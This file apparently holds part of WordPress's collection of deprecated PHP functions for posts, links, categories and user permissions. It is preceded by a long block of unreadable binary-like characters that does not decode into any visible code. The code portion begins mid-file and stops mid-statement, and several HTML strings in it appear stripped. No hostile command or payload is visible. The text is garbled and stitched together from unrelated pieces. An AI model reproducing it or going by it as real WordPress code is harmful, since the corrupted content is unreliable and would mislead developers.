=О@e?)!~2j,<$aTzPХA#[17장N+[.gR5Ih!;mбL?4Vd$">9a9øxZZ ]dGSpeKKIqocJ3iUy%͑c</xSĀ~\F6ә`("\SdxQ@FɈM59(y%5p6 n Ȋ*\uBiQq>62.p;|E),U [gn{&^t׊1̔=hULuȶ+{ۡ Ln[qnWZB9d\ʭy8 Ƌ}Ă_c Yu'R?+eKR~/痲ROcB,hhS~uo/ϯ ktY|!e NrV{jk&aֶZ(3l Pk|J}1d]7(VYDd5CFȰ~ $ÎvhhC(A ٵO5Dqƞ? ӤC!YfC͸33ڥY&@Qg?OiAu!q?gşc*,?GGbv- $Z`سX&⏩3G+vaf]_m 3h ?{syJ,sW$DUC~jiTֳ&9g?HZ6m_4ڳQR~3Gv3k&+:OOb㑞i2{|hfb: p~ji~, ܳ{sG&@wZ̹ Z@9@<yrpCsχ0o2߿Kd灧Z-b\WbƖi l88p{ҩe>MG"SXt8;&mZLPՈAQտ. XךaSӣDZoIc) O&[jSWyN"X0 ord%,M6SgF^g N$8ai {t}O_ 0-Yi4Uw~gzHHi)ND7KeflRZ{mg  J?}` ^oe=sy/0[ @H##0{wRlKZo;*,Y =xO]|(|֧Xf|_\8Y9Ԗ6"B%^dV}Bڐbf,Eڲ)$l+31c?_kJքuդ-UnvfTU"ԽARe\ M0-dGk`>Zr4E]zd ӄaDL`ݻ0;%Ȏ$[9Roq1ycKj] Mn7;P@ȥ>QO sQG Fj1HZVïil`7҂`NCz_ 8XMME% |rE-G,y|?G4yGzbb,Xwk2\،>6zuwyW؅ b$eEQ fQܦ:Z?E)EJP>R* 66Io" D` xoр{u$:dgJbdq~HB&j8QYRrO%Ø~d4lꐢkn=iw*:QAiv' #m/p3)P8pj"\-OWWni;=x|7##U6bA+1FT{śi$l3|r &`%A19a(ݜT[JV&!%De5NIQ-n$]F&%#';_^ j8àa p;=:N:;0_vy4W64cwpQx<1lT >>t6L7}{G%['Ϛf.v3ؤbDنKhD^M@" ,:CU 349,J;cNk:zMCWߺ0oMH=dH"2,!0Hҏ'B݊liK2jC=ԈXхevc| FuLVSPV ucxjqt~һ/ JrWq\NoF@YQb06]EmFh v{0̨Up'o5+(AQ!JmOY 8րeFR,h(!a܍x>|}Ve8o^Pz(j -P@/2ݡ"+Lj\Fyfy5ɚ&ΔHlNG[QQ;{1Rlk; rP[0隰N' pK&n9'֎OErdV>6*UM5^VΥ,Jx`qjvAcg%\K/O>^F Ro[.h( Nϫv\"p+ ~"[ͶUTj5P`/B5 h]BQ"v€sX }"s,. Y g}U20!4Β$;J~1836t.0݉ӹ\\JqD|KnJ{2͋ꭈB'SA330t6(IS8d-jFRߗ/!JPP.7iF'Nߝ ߏJԝL>9|d;`rQ0- l_ hagjwi;%lgQKKeEA> 3r5<8'/֓ێ2Eb:3"_."Bn:B`N.QCI:UQ44fKNۑ^pWRhó4=\d-Y\qj#r |*44h5m9Nzhn}_)i}k>5;fOꂆǁM8 =%Ӡ%d,et _ ` tMIhC3Httc>M/PC1:Si4)B\\' P.q$`Uff*,?7Ih$a=`j6,Tߊn? $xq?"~3ڐ *Ob֠汣Y#Q _vL]g'B}P,tY"-I:J-'iMNiŀ`H8.㢐H!3&phkO&t46MaDpOM(b4iB_NUcl8p |aI1]A44@T@O'ܾG&҆m*rhX,dݧRz͛la 29 +"9#3ױا]=N⅌8Փc,cSbDێKɐ t_p?4!LZ>_[dVX]/.jv3XK,xL\Аab߿h.B .tQl]YQ|Sυi-zNLbHU6\^Ga\׼ьbDz›n<0!LbGc 7)o=(U咷.<S_uĉ0ɈY@[wMMKL‚u1A ͩ`Dl&b4,^%Gi#CJ Dwdۈ|+gtOX||nδM:VKnr%e-TELn1$6 lj_lv!QD BV e&7f|n/.h3abo>Lme0 is/y\Ts?4C߷ʯT?ZWDE6]P. 'ZiPw4mAC'~tLL6iD64;$䳝&/Y?YBX(y9QRMђeIu‚7M 1) d 8#, uOa9JES\|f;JW8]NH[aBiiNKm]rB($ [ }.kk@ltV٥vM9Ţ*<5$ca=HwUG&_0M2*}xR˸.bZYnc MQe$sG0 4/ њvҪ^vTrեl>Ƭ<()8nXRC#'ߊ$0t3Evkx5Fmً2xy5ZöW0 %,aNڤhfIks{ŃpsL?ؓ7$xl,X2-m˚=/$$0U!"ƹ4b>?G%8u.Es!#+rَ%T)7̤EX lu#R# ='͸=ӛv0$9;mqc],^Wd;o= YP|0fPANB0p^a8prQ ]]~d ҍtKfc9&+LF)Fsg RF{865L!Qrm`!|Jux'P!@?Lpq+n2}.3p(8־vڋc [v +G )HXmѥ y&¨#۝OA }fhp,688#G5G⪂_X| 4BSQN  CG}Ȍ0 ;;.kIGƈ-0HHF!/eeMb{w#r! vm 3>ų)wa''p~ϥ[@377B,sQ֞y{FV(.C\RiLs\Йh I\C`,\ '>Km  Sמ =2)#DiPP`%zhF*~M-|u79('m>8i@s5,aC!fqC" :ɾEUW_/v݂\T·FNV"M,m,kAhqbdoh{ėm QCEx$`N'+FmQ#\ ckLNx ,Z:[@CBum6fr(+m ]&׵IX&v³J`F 7,zDsO{GrP| Ly:zce&Fp}h'@rNREdˑ@| H6b L[<| 9fM)"Cm#ٰt=9_OC'Rw5Gʶ`"qҝ F(R#`CpaGp X4sR49'RcCBРQ`( r@89 @)q٤鄔zFF},bS}aEZLTҚ.2x 0v<݆ɋOwVt e0LDOtI]-&@YoG&z{cd{bW)$4:!&O&a'ݑ v'>VRdepP$ZЍ_U_n懛z,ଞImA!Vww,`2B"0j:ÀA&3.l{mA`ޞ`:|\<ԃX*?4`eҭ>dž6U L8b1zGG%z-l@?xvlT4ˈz.SX#v{gg޽g'1We~&̈́%ۙdH6Prr~^8=m) v+5)-F>LL!=TeV@A zC;`ãj fl ,"Pi9rJ6Yk3Rp!`I90(<8E%^τ./l.n֧1I)M5H&Pm@cғ>9AFgqpoX$_ - cgV?HjɿlwRWNJ:V$~*M9.mN|;Sکl7çl<` ` dCnBɠRR,#; +9 8ec%b9BԱ{676@ 27YTSҍ 0IJ@/:/"0\  Irٽhfk:u3у@=KLo9=o1hdbi$&ꍻ `6/f\]EX^w0=+gU cQ{762/BT41 M64")"(cMQyW=[> d]S搽3RCQHrBҚ^,cgS{p%H;g^v/]F(\Õs<:3| 4~^wKGQf80G?w_'J/|||izЛBVHz;laRi[1[hUЊ:XAa2ՀeF[iPZYR {-xjOV 6:/p/[b(#HƧXP oCnkJrPÍuBoi ޜzPCUR#Jfzْ {~1졐_Y ,}i`h8޾j]A#ƚыE66u(4vcR k\ka0-t@ CR){E)c)1OHvss"\1g?_y㹽:d6PTM`"p%Ȱ?!~HN ^ R Fv߈#<586Rh&L |8/ufx~-J, "T BFl^@nB<X ,n?2!^ce4[G+tmm"`r&P%ap. k^Hvsx7))c;w++  [ǨV=:F O<-CXnKeۥ”sY 0ɦۆ&҄8& uqLH[63$4Дx*x0 $s TMeV0swn0K4!t!EiAƄiqb0jÊNk:NKb 0cLvB?Ԟؽڬ8$a# WWc*d0 DS|azDtF1PoEEdjLZwKArQ,ƕ2a3GOf $post->ID, 'Author_ID' => $post->post_author, 'Date' => $post->post_date, 'Content' => $post->post_content, 'Excerpt' => $post->post_excerpt, 'Title' => $post->post_title, 'Category' => $post->post_category, 'post_status' => $post->post_status, 'comment_status' => $post->comment_status, 'ping_status' => $post->ping_status, 'post_password' => $post->post_password, 'to_ping' => $post->to_ping, 'pinged' => $post->pinged, 'post_type' => $post->post_type, 'post_name' => $post->post_name ); return $postdata; } /** * Sets up the WordPress Loop. * * Use The Loop instead. * * @link https://developer.wordpress.org/themes/basics/the-loop/ * * @since 1.0.1 * @deprecated 1.5.0 * * @global WP_Query $wp_query WordPress Query object. */ function start_wp() { global $wp_query; _deprecated_function( __FUNCTION__, '1.5.0', __('new WordPress Loop') ); // Since the old style loop is being used, advance the query iterator here. $wp_query->next_post(); setup_postdata( get_post() ); } /** * Returns or prints a category ID. * * @since 0.71 * @deprecated 0.71 Use get_the_category() * @see get_the_category() * * @param bool $display Optional. Whether to display the output. Default true. * @return int Category ID. */ function the_category_ID($display = true) { _deprecated_function( __FUNCTION__, '0.71', 'get_the_category()' ); // Grab the first cat in the list. $categories = get_the_category(); $cat = $categories[0]->term_id; if ( $display ) echo $cat; return $cat; } /** * Prints a category with optional text before and after. * * @since 0.71 * @deprecated 0.71 Use get_the_category_by_ID() * @see get_the_category_by_ID() * * @param string $before Optional. Text to display before the category. Default empty. * @param string $after Optional. Text to display after the category. Default empty. */ function the_category_head( $before = '', $after = '' ) { global $currentcat, $previouscat; _deprecated_function( __FUNCTION__, '0.71', 'get_the_category_by_ID()' ); // Grab the first cat in the list. $categories = get_the_category(); $currentcat = $categories[0]->category_id; if ( $currentcat != $previouscat ) { echo $before; echo get_the_category_by_ID($currentcat); echo $after; $previouscat = $currentcat; } } /** * Prints a link to the previous post. * * @since 1.5.0 * @deprecated 2.0.0 Use previous_post_link() * @see previous_post_link() * * @param string $format * @param string $previous * @param string $title * @param string $in_same_cat * @param int $limitprev * @param string $excluded_categories */ function previous_post($format='%', $previous='previous post: ', $title='yes', $in_same_cat='no', $limitprev=1, $excluded_categories='') { _deprecated_function( __FUNCTION__, '2.0.0', 'previous_post_link()' ); if ( empty($in_same_cat) || 'no' == $in_same_cat ) $in_same_cat = false; else $in_same_cat = true; $post = get_previous_post($in_same_cat, $excluded_categories); if ( !$post ) return; $string = ''.$previous; if ( 'yes' == $title ) $string .= apply_filters('the_title', $post->post_title, $post->ID); $string .= ''; $format = str_replace('%', $string, $format); echo $format; } /** * Prints link to the next post. * * @since 0.71 * @deprecated 2.0.0 Use next_post_link() * @see next_post_link() * * @param string $format * @param string $next * @param string $title * @param string $in_same_cat * @param int $limitnext * @param string $excluded_categories */ function next_post($format='%', $next='next post: ', $title='yes', $in_same_cat='no', $limitnext=1, $excluded_categories='') { _deprecated_function( __FUNCTION__, '2.0.0', 'next_post_link()' ); if ( empty($in_same_cat) || 'no' == $in_same_cat ) $in_same_cat = false; else $in_same_cat = true; $post = get_next_post($in_same_cat, $excluded_categories); if ( !$post ) return; $string = ''.$next; if ( 'yes' == $title ) $string .= apply_filters('the_title', $post->post_title, $post->ID); $string .= ''; $format = str_replace('%', $string, $format); echo $format; } /** * Whether user can create a post. * * @since 1.5.0 * @deprecated 2.0.0 Use current_user_can() * @see current_user_can() * * @param int $user_id * @param int $blog_id Not Used * @param int $category_id Not Used * @return bool */ function user_can_create_post($user_id, $blog_id = 1, $category_id = 'None') { _deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' ); $author_data = get_userdata($user_id); return ($author_data->user_level > 1); } /** * Whether user can create a post. * * @since 1.5.0 * @deprecated 2.0.0 Use current_user_can() * @see current_user_can() * * @param int $user_id * @param int $blog_id Not Used * @param int $category_id Not Used * @return bool */ function user_can_create_draft($user_id, $blog_id = 1, $category_id = 'None') { _deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' ); $author_data = get_userdata($user_id); return ($author_data->user_level >= 1); } /** * Whether user can edit a post. * * @since 1.5.0 * @deprecated 2.0.0 Use current_user_can() * @see current_user_can() * * @param int $user_id * @param int $post_id * @param int $blog_id Not Used * @return bool */ function user_can_edit_post($user_id, $post_id, $blog_id = 1) { _deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' ); $author_data = get_userdata($user_id); $post = get_post($post_id); $post_author_data = get_userdata($post->post_author); if ( (($user_id == $post_author_data->ID) && !($post->post_status == 'publish' && $author_data->user_level < 2)) || ($author_data->user_level > $post_author_data->user_level) || ($author_data->user_level >= 10) ) { return true; } else { return false; } } /** * Whether user can delete a post. * * @since 1.5.0 * @deprecated 2.0.0 Use current_user_can() * @see current_user_can() * * @param int $user_id * @param int $post_id * @param int $blog_id Not Used * @return bool */ function user_can_delete_post($user_id, $post_id, $blog_id = 1) { _deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' ); // Right now if one can edit, one can delete. return user_can_edit_post($user_id, $post_id, $blog_id); } /** * Whether user can set new posts' dates. * * @since 1.5.0 * @deprecated 2.0.0 Use current_user_can() * @see current_user_can() * * @param int $user_id * @param int $blog_id Not Used * @param int $category_id Not Used * @return bool */ function user_can_set_post_date($user_id, $blog_id = 1, $category_id = 'None') { _deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' ); $author_data = get_userdata($user_id); return (($author_data->user_level > 4) && user_can_create_post($user_id, $blog_id, $category_id)); } /** * Whether user can delete a post. * * @since 1.5.0 * @deprecated 2.0.0 Use current_user_can() * @see current_user_can() * * @param int $user_id * @param int $post_id * @param int $blog_id Not Used * @return bool returns true if $user_id can edit $post_id's date */ function user_can_edit_post_date($user_id, $post_id, $blog_id = 1) { _deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' ); $author_data = get_userdata($user_id); return (($author_data->user_level > 4) && user_can_edit_post($user_id, $post_id, $blog_id)); } /** * Whether user can delete a post. * * @since 1.5.0 * @deprecated 2.0.0 Use current_user_can() * @see current_user_can() * * @param int $user_id * @param int $post_id * @param int $blog_id Not Used * @return bool returns true if $user_id can edit $post_id's comments */ function user_can_edit_post_comments($user_id, $post_id, $blog_id = 1) { _deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' ); // Right now if one can edit a post, one can edit comments made on it. return user_can_edit_post($user_id, $post_id, $blog_id); } /** * Whether user can delete a post. * * @since 1.5.0 * @deprecated 2.0.0 Use current_user_can() * @see current_user_can() * * @param int $user_id * @param int $post_id * @param int $blog_id Not Used * @return bool returns true if $user_id can delete $post_id's comments */ function user_can_delete_post_comments($user_id, $post_id, $blog_id = 1) { _deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' ); // Right now if one can edit comments, one can delete comments. return user_can_edit_post_comments($user_id, $post_id, $blog_id); } /** * Can user can edit other user. * * @since 1.5.0 * @deprecated 2.0.0 Use current_user_can() * @see current_user_can() * * @param int $user_id * @param int $other_user * @return bool */ function user_can_edit_user($user_id, $other_user) { _deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' ); $user = get_userdata($user_id); $other = get_userdata($other_user); if ( $user->user_level > $other->user_level || $user->user_level > 8 || $user->ID == $other->ID ) return true; else return false; } /** * Gets the links associated with category $cat_name. * * @since 0.71 * @deprecated 2.1.0 Use get_bookmarks() * @see get_bookmarks() * * @param string $cat_name Optional. The category name to use. If no match is found, uses all. * Default 'noname'. * @param string $before Optional. The HTML to output before the link. Default empty. * @param string $after Optional. The HTML to output after the link. Default '
    '. * @param string $between Optional. The HTML to output between the link/image and its description. * Not used if no image or $show_images is true. Default ' '. * @param bool $show_images Optional. Whether to show images (if defined). Default true. * @param string $orderby Optional. The order to output the links. E.g. 'id', 'name', 'url', * 'description', 'rating', or 'owner'. Default 'id'. * If you start the name with an underscore, the order will be reversed. * Specifying 'rand' as the order will return links in a random order. * @param bool $show_description Optional. Whether to show the description if show_images=false/not defined. * Default true. * @param bool $show_rating Optional. Show rating stars/chars. Default false. * @param int $limit Optional. Limit to X entries. If not specified, all entries are shown. * Default -1. * @param int $show_updated Optional. Whether to show last updated timestamp. Default 0. */ function get_linksbyname($cat_name = "noname", $before = '', $after = '
    ', $between = " ", $show_images = true, $orderby = 'id', $show_description = true, $show_rating = false, $limit = -1, $show_updated = 0) { _deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' ); $cat_id = -1; $cat = get_term_by('name', $cat_name, 'link_category'); if ( $cat ) $cat_id = $cat->term_id; get_links($cat_id, $before, $after, $between, $show_images, $orderby, $show_description, $show_rating, $limit, $show_updated); } /** * Gets the links associated with the named category. * * @since 1.0.1 * @deprecated 2.1.0 Use wp_list_bookmarks() * @see wp_list_bookmarks() * * @param string $category The category to use. * @param string $args * @return string|null */ function wp_get_linksbyname($category, $args = '') { _deprecated_function(__FUNCTION__, '2.1.0', 'wp_list_bookmarks()'); $defaults = array( 'after' => '
    ', 'before' => '', 'categorize' => 0, 'category_after' => '', 'category_before' => '', 'category_name' => $category, 'show_description' => 1, 'title_li' => '', ); $parsed_args = wp_parse_args( $args, $defaults ); return wp_list_bookmarks($parsed_args); } /** * Gets an array of link objects associated with category $cat_name. * * $links = get_linkobjectsbyname( 'fred' ); * foreach ( $links as $link ) { * echo '
  • ' . $link->link_name . '
  • '; * } * * @since 1.0.1 * @deprecated 2.1.0 Use get_bookmarks() * @see get_bookmarks() * * @param string $cat_name Optional. The category name to use. If no match is found, uses all. * Default 'noname'. * @param string $orderby Optional. The order to output the links. E.g. 'id', 'name', 'url', * 'description', 'rating', or 'owner'. Default 'name'. * If you start the name with an underscore, the order will be reversed. * Specifying 'rand' as the order will return links in a random order. * @param int $limit Optional. Limit to X entries. If not specified, all entries are shown. * Default -1. * @return array */ function get_linkobjectsbyname($cat_name = "noname" , $orderby = 'name', $limit = -1) { _deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' ); $cat_id = -1; $cat = get_term_by('name', $cat_name, 'link_category'); if ( $cat ) $cat_id = $cat->term_id; return get_linkobjects($cat_id, $orderby, $limit); } /** * Gets an array of link objects associated with category n. * * Usage: * * $links = get_linkobjects(1); * if ($links) { * foreach ($links as $link) { * echo '
  • '.$link->link_name.'
    '.$link->link_description.'
  • '; * } * } * * Fields are: * * - link_id * - link_url * - link_name * - link_image * - link_target * - link_category * - link_description * - link_visible * - link_owner * - link_rating * - link_updated * - link_rel * - link_notes * * @since 1.0.1 * @deprecated 2.1.0 Use get_bookmarks() * @see get_bookmarks() * * @param int $category Optional. The category to use. If no category supplied, uses all. * Default 0. * @param string $orderby Optional. The order to output the links. E.g. 'id', 'name', 'url', * 'description', 'rating', or 'owner'. Default 'name'. * If you start the name with an underscore, the order will be reversed. * Specifying 'rand' as the order will return links in a random order. * @param int $limit Optional. Limit to X entries. If not specified, all entries are shown. * Default 0. * @return array */ function get_linkobjects($category = 0, $orderby = 'name', $limit = 0) { _deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' ); $links = get_bookmarks( array( 'category' => $category, 'orderby' => $orderby, 'limit' => $limit ) ) ; $links_array = array(); foreach ($links as $link) $links_array[] = $link; return $links_array; } /** * Gets the links associated with category 'cat_name' and display rating stars/chars. * * @since 0.71 * @deprecated 2.1.0 Use get_bookmarks() * @see get_bookmarks() * * @param string $cat_name Optional. The category name to use. If no match is found, uses all. * Default 'noname'. * @param string $before Optional. The HTML to output before the link. Default empty. * @param string $after Optional. The HTML to output after the link. Default '
    '. * @param string $between Optional. The HTML to output between the link/image and its description. * Not used if no image or $show_images is true. Default ' '. * @param bool $show_images Optional. Whether to show images (if defined). Default true. * @param string $orderby Optional. The order to output the links. E.g. 'id', 'name', 'url', * 'description', 'rating', or 'owner'. Default 'id'. * If you start the name with an underscore, the order will be reversed. * Specifying 'rand' as the order will return links in a random order. * @param bool $show_description Optional. Whether to show the description if show_images=false/not defined. * Default true. * @param int $limit Optional. Limit to X entries. If not specified, all entries are shown. * Default -1. * @param int $show_updated Optional. Whether to show last updated timestamp. Default 0. */ function get_linksbyname_withrating($cat_name = "noname", $before = '', $after = '
    ', $between = " ", $show_images = true, $orderby = 'id', $show_description = true, $limit = -1, $show_updated = 0) { _deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' ); get_linksbyname($cat_name, $before, $after, $between, $show_images, $orderby, $show_description, true, $limit, $show_updated); } /** * Gets the links associated with category n and display rating stars/chars. * * @since 0.71 * @deprecated 2.1.0 Use get_bookmarks() * @see get_bookmarks() * * @param int $category Optional. The category to use. If no category supplied, uses all. * Default 0. * @param string $before Optional. The HTML to output before the link. Default empty. * @param string $after Optional. The HTML to output after the link. Default '
    '. * @param string $between Optional. The HTML to output between the link/image and its description. * Not used if no image or $show_images is true. Default ' '. * @param bool $show_images Optional. Whether to show images (if defined). Default true. * @param string $orderby Optional. The order to output the links. E.g. 'id', 'name', 'url', * 'description', 'rating', or 'owner'. Default 'id'. * If you start the name with an underscore, the order will be reversed. * Specifying 'rand' as the order will return links in a random order. * @param bool $show_description Optional. Whether to show the description if show_images=false/not defined. * Default true. * @param int $limit Optional. Limit to X entries. If not specified, all entries are shown. * Default -1. * @param int $show_updated Optional. Whether to show last updated timestamp. Default 0. */ function get_links_withrating($category = -1, $before = '', $after = '
    ', $between = " ", $show_images = true, $orderby = 'id', $show_description = true, $limit = -1, $show_updated = 0) { _deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' ); get_links($category, $before, $after, $between, $show_images, $orderby, $show_description, true, $limit, $show_updated); } /** * Gets the auto_toggle setting. * * @since 0.71 * @deprecated 2.1.0 * * @param int $id The category to get. If no category supplied uses 0 * @return int Only returns 0. */ function get_autotoggle($id = 0) { _deprecated_function( __FUNCTION__, '2.1.0' ); return 0; } /** * Lists categories. * * @since 0.71 * @deprecated 2.1.0 Use wp_list_categories() * @see wp_list_categories() * * @param int $optionall * @param string $all * @param string $sort_column * @param string $sort_order * @param string $file * @param bool $list * @param int $optiondates * @param int $optioncount * @param int $hide_empty * @param int $use_desc_for_title * @param bool $children * @param int $child_of * @param int $categories * @param int $recurse * @param string $feed * @param string $feed_image * @param string $exclude * @param bool $hierarchical * @return null|false */ function list_cats($optionall = 1, $all = 'All', $sort_column = 'ID', $sort_order = 'asc', $file = '', $list = true, $optiondates = 0, $optioncount = 0, $hide_empty = 1, $use_desc_for_title = 1, $children=false, $child_of=0, $categories=0, $recurse=0, $feed = '', $feed_image = '', $exclude = '', $hierarchical=false) { _deprecated_function( __FUNCTION__, '2.1.0', 'wp_list_categories()' ); $query = compact('optionall', 'all', 'sort_column', 'sort_order', 'file', 'list', 'optiondates', 'optioncount', 'hide_empty', 'use_desc_for_title', 'children', 'child_of', 'categories', 'recurse', 'feed', 'feed_image', 'exclude', 'hierarchical'); return wp_list_cats($query); } /** * Lists categories. * * @since 1.2.0 * @deprecated 2.1.0 Use wp_list_categories() * @see wp_list_categories() * * @param string|array $args * @return null|string|false */ function wp_list_cats($args = '') { _deprecated_function( __FUNCTION__, '2.1.0', 'wp_list_categories()' ); $parsed_args = wp_parse_args( $args ); // Map to new names. if ( isset($parsed_args['optionall']) && isset($parsed_args['all'])) $parsed_args['show_option_all'] = $parsed_args['all']; if ( isset($parsed_args['sort_column']) ) $parsed_args['orderby'] = $parsed_args['sort_column']; if ( isset($parsed_args['sort_order']) ) $parsed_args['order'] = $parsed_args['sort_order']; if ( isset($parsed_args['optiondates']) ) $parsed_args['show_last_update'] = $parsed_args['optiondates']; if ( isset($parsed_args['optioncount']) ) $parsed_args['show_count'] = $parsed_args['optioncount']; if ( isset($parsed_args['list']) ) $parsed_args['style'] = $parsed_args['list'] ? 'list' : 'break'; $parsed_args['title_li'] = ''; return wp_list_categories($parsed_args); } /** * Deprecated method for generating a drop-down of categories. * * @since 0.71 * @deprecated 2.1.0 Use wp_dropdown_categories() * @see wp_dropdown_categories() * * @param int $optionall * @param string $all * @param string $orderby * @param string $order * @param int $show_last_update * @param int $show_count * @param int $hide_empty * @param bool $optionnone * @param int $selected * @param int $exclude * @return string */ function dropdown_cats($optionall = 1, $all = 'All', $orderby = 'ID', $order = 'asc', $show_last_update = 0, $show_count = 0, $hide_empty = 1, $optionnone = false, $selected = 0, $exclude = 0) { _deprecated_function( __FUNCTION__, '2.1.0', 'wp_dropdown_categories()' ); $show_option_all = ''; if ( $optionall ) $show_option_all = $all; $show_option_none = ''; if ( $optionnone ) $show_option_none = _x( 'None', 'Categories dropdown (show_option_none parameter)' ); $vars = compact('show_option_all', 'show_option_none', 'orderby', 'order', 'show_last_update', 'show_count', 'hide_empty', 'selected', 'exclude'); $query = add_query_arg($vars, ''); return wp_dropdown_categories($query); } /** * Lists authors. * * @since 1.2.0 * @deprecated 2.1.0 Use wp_list_authors() * @see wp_list_authors() * * @param bool $optioncount * @param bool $exclude_admin * @param bool $show_fullname * @param bool $hide_empty * @param string $feed * @param string $feed_image * @return null|string */ function list_authors($optioncount = false, $exclude_admin = true, $show_fullname = false, $hide_empty = true, $feed = '', $feed_image = '') { _deprecated_function( __FUNCTION__, '2.1.0', 'wp_list_authors()' ); $args = compact('optioncount', 'exclude_admin', 'show_fullname', 'hide_empty', 'feed', 'feed_image'); return wp_list_authors($args); } /** * Retrieves a list of post categories. * * @since 1.0.1 * @deprecated 2.1.0 Use wp_get_post_categories() * @see wp_get_post_categories() * * @param int $blogid Not Used * @param int $post_id * @return array */ function wp_get_post_cats($blogid = '1', $post_id = 0) { _deprecated_function( __FUNCTION__, '2.1.0', 'wp_get_post_categories()' ); return wp_get_post_categories($post_id); } /** * Sets the categories that the post ID belongs to. * * @since 1.0.1 * @deprecated 2.1.0 * @deprecated Use wp_set_post_categories() * @see wp_set_post_categories() * * @param int $blogid Not used * @param int $post_id * @param array $post_categories * @return bool|mixed */ function wp_set_post_cats($blogid = '1', $post_id = 0, $post_categories = array()) { _deprecated_function( __FUNCTION__, '2.1.0', 'wp_set_post_categories()' ); return wp_set_post_categories($post_id, $post_categories); } /** * Retrieves a list of archives. * * @since 0.71 * @deprecated 2.1.0 Use wp_get_archives() * @see wp_get_archives() * * @param string $type * @param string $limit * @param string $format * @param string $before * @param string $after * @param bool $show_post_count * @return string|null */ function get_archives($type='', $limit='', $format='html', $before = '', $after = '', $show_post_count = false) { _deprecated_function( __FUNCTION__, '2.1.0', 'wp_get_archives()' ); $args = compact('type', 'limit', 'format', 'before', 'after', 'show_post_count'); return wp_get_archives($args); } /** * Returns or Prints link to the author's posts. * * @since 1.2.0 * @deprecated 2.1.0 Use get_author_posts_url() * @see get_author_posts_url() * * @param bool $display * @param int $author_id * @param string $author_nicename Optional. * @return string|null */ function get_author_link($display, $author_id, $author_nicename = '') { _deprecated_function( __FUNCTION__, '2.1.0', 'get_author_posts_url()' ); $link = get_author_posts_url($author_id, $author_nicename); if ( $display ) echo $link; return $link; } /** * Print list of pages based on arguments. * * @since 0.71 * @deprecated 2.1.0 Use wp_link_pages() * @see wp_link_pages() * * @param string $before * @param string $after * @param string $next_or_number * @param string $nextpagelink * @param string $previouspagelink * @param string $pagelink * @param string $more_file * @return string */ function link_pages($before='
    ', $after='
    ', $next_or_number='number', $nextpagelink='next page', $previouspagelink='previous page', $pagelink='%', $more_file='') { _deprecated_function( __FUNCTION__, '2.1.0', 'wp_link_pages()' ); $args = compact('before', 'after', 'next_or_number', 'nextpagelink', 'previouspagelink', 'pagelink', 'more_file'); return wp_link_pages($args); } /** * Get value based on option. * * @since 0.71 * @deprecated 2.1.0 Use get_option() * @see get_option() * * @param string $option * @return string */ function get_settings($option) { _deprecated_function( __FUNCTION__, '2.1.0', 'get_option()' ); return get_option($option); } /** * Print the permalink of the current post in the loop. * * @since 0.71 * @deprecated 1.2.0 Use the_permalink() * @see the_permalink() */ function permalink_link() { _deprecated_function( __FUNCTION__, '1.2.0', 'the_permalink()' ); the_permalink(); } /** * Print the permalink to the RSS feed. * * @since 0.71 * @deprecated 2.3.0 Use the_permalink_rss() * @see the_permalink_rss() * * @param string $deprecated */ function permalink_single_rss($deprecated = '') { _deprecated_function( __FUNCTION__, '2.3.0', 'the_permalink_rss()' ); the_permalink_rss(); } /** * Gets the links associated with category. * * @since 1.0.1 * @deprecated 2.1.0 Use wp_list_bookmarks() * @see wp_list_bookmarks() * * @param string $args a query string * @return null|string */ function wp_get_links($args = '') { _deprecated_function( __FUNCTION__, '2.1.0', 'wp_list_bookmarks()' ); if ( ! str_contains( $args, '=' ) ) { $cat_id = $args; $args = add_query_arg( 'category', $cat_id, $args ); } $defaults = array( 'after' => '
    ', 'before' => '', 'between' => ' ', 'categorize' => 0, 'category' => '', 'echo' => true, 'limit' => -1, 'orderby' => 'name', 'show_description' => true, 'show_images' => true, 'show_rating' => false, 'show_updated' => true, 'title_li' => '', ); $parsed_args = wp_parse_args( $args, $defaults ); return wp_list_bookmarks($parsed_args); } /** * Gets the links associated with category by ID. * * @since 0.71 * @deprecated 2.1.0 Use get_bookmarks() * @see get_bookmarks() * * @param int $category Optional. The category to use. If no category supplied uses all. * Default 0. * @param string $before Optional. The HTML to output before the link. Default empty. * @param string $after Optional. The HTML to output after the link. Default '
    '. * @param string $between Optional. The HTML to output between the link/image and its description. * Not used if no image or $show_images is true. Default ' '. * @param bool $show_images Optional. Whether to show images (if defined). Default true. * @param string $orderby Optional. The order to output the links. E.g. 'id', 'name', 'url', * 'description', 'rating', or 'owner'. Default 'name'. * If you start the name with an underscore, the order will be reversed. * Specifying 'rand' as the order will return links in a random order. * @param bool $show_description Optional. Whether to show the description if show_images=false/not defined. * Default true. * @param bool $show_rating Optional. Show rating stars/chars. Default false. * @param int $limit Optional. Limit to X entries. If not specified, all entries are shown. * Default -1. * @param int $show_updated Optional. Whether to show last updated timestamp. Default 1. * @param bool $display Whether to display the results, or return them instead. * @return null|string */ function get_links($category = -1, $before = '', $after = '
    ', $between = ' ', $show_images = true, $orderby = 'name', $show_description = true, $show_rating = false, $limit = -1, $show_updated = 1, $display = true) { _deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' ); $order = 'ASC'; if ( str_starts_with($orderby, '_') ) { $order = 'DESC'; $orderby = substr($orderby, 1); } if ( $category == -1 ) // get_bookmarks() uses '' to signify all categories. $category = ''; $results = get_bookmarks(array('category' => $category, 'orderby' => $orderby, 'order' => $order, 'show_updated' => $show_updated, 'limit' => $limit)); if ( !$results ) return; $output = ''; foreach ( (array) $results as $row ) { if ( !isset($row->recently_updated) ) $row->recently_updated = false; $output .= $before; if ( $show_updated && $row->recently_updated ) $output .= get_option('links_recently_updated_prepend'); $the_link = '#'; if ( !empty($row->link_url) ) $the_link = esc_url($row->link_url); $rel = $row->link_rel; if ( '' != $rel ) $rel = ' rel="' . $rel . '"'; $desc = esc_attr(sanitize_bookmark_field('link_description', 